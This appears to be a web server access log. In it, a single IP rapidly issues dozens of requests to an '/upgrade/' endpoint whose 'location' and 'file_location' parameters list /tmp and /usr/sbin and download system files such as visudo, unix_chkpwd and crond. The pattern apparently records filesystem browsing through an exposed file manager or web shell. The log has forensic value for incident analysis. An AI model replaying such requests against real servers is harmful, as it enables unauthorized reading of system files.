45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fdiagnose_setup_403_target.py&location=%2Ftmp%2F HTTP/1.1" 200 11133 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fdiagnose_setup_403_target.py&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?location=%2Ftmp%2Flost+found HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Flost+found" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_&location=%2Ftmp%2F HTTP/1.1" 200 11946 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-verify-_&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-preflight.stdout&location=%2Ftmp%2F HTTP/1.1" 200 21935 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-preflight.stdout&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-KCT1LN HTTP/1.1" 200 5834 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-kdump.service-KCT1LN" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.sucuri-candidate&location=%2Ftmp%2F HTTP/1.1" 200 14812 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.sucuri-candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.timer.autoblock&location=%2Ftmp%2F HTTP/1.1" 200 10243 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.timer.autoblock&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fpossibility-after-restart&location=%2Ftmp%2F HTTP/1.1" 200 10761 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fpossibility-after-restart&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/index.php?location=%2Ftmp%2F HTTP/1.1" 200 10004 "http://163.245.207.76:443/upgrade/index.php?location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-qNCpXY HTTP/1.1" 200 5834 "http://163.245.207.76:443/upgrade/?location=%2Ftmp%2Fsystemd-private-ca77e09721aa4fcf9ffff7e345728903-pdns.service-qNCpXY" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fvalidate_basic_capabilities_target.sh&location=%2Ftmp%2F HTTP/1.1" 200 11216 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fvalidate_basic_capabilities_target.sh&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.py36-candidate&location=%2Ftmp%2F HTTP/1.1" 200 14669 "http://163.245.207.76:443/upgrade/?file_location=%2Ftmp%2F%2Fwpmm-watchdog.py36-candidate&location=%2Ftmp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/index.php?location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37292 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwhistory_helper&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43828 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fpwhistory_helper&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.nfsd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Frpc.nfsd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-verify&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-verify&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcrond&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 71104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fcrond&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftmpwatch&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 50794 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftmpwatch&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetenforce&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40269 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgetenforce&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2label&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 85215 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2label&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-pciids&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38171 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fupdate-pciids&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchroot&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 52882 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fchroot&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexportfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 67486 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexportfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffdisk&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81799 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ffdisk&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flosetup&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 68225 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Flosetup&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftracepath&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 45604 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Ftracepath&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft-restore&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138133 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Farptables-nft-restore&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotacheck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 80705 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fquotacheck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetcap&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 42575 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsetcap&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinux_check_access&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 41038 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fselinux_check_access&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvisudo&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 156325 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fvisudo&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-settime&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53391 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdnssec-settime&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_dbmbuild&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 44033 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexim_dbmbuild&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-get-kernel-settings&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 38748 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrub2-get-kernel-settings&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrubby&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 37473 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgrubby&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 138241 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fiptables-nft&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdumpe2fs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49315 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fdumpe2fs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fedquota&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 75924 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fedquota&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupadd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 65252 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupadd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fisadump&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43188 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fisadump&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsasldblistusers2&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43130 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsasldblistusers2&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funix_chkpwd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 47375 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Funix_chkpwd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fuserdel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 72746 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fuserdel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2fsck&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 200621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fe2fsck&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiqgrep&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40427 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fexiqgrep&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnscd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 110759 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnscd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fweak-modules&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 49267 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fweak-modules&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkmapd&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 54381 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fblkmapd&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipset-translate&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 40717 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipset-translate&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmii-diag&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 46809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fmii-diag&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnvme&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 736316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnvme&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.nfs4&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 81905 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fumount.nfs4&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_growfs&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 54013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_growfs&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipmaddr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43999 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fipmaddr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkey.dns_resolver&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 48290 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fkey.dns_resolver&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_fsr&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 57164 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fxfs_fsr&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fconvertquota&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 68674 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fconvertquota&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupdel&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 62081 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fgroupdel&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd_ls_bak&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 409558 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fhttpd_ls_bak&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsref&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 53471 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fnfsref&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsestatus&location=%2Fusr%2Fsbin%2F HTTP/1.1" 200 43916 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fsbin%2F%2Fsestatus&location=%2Fusr%2Fsbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
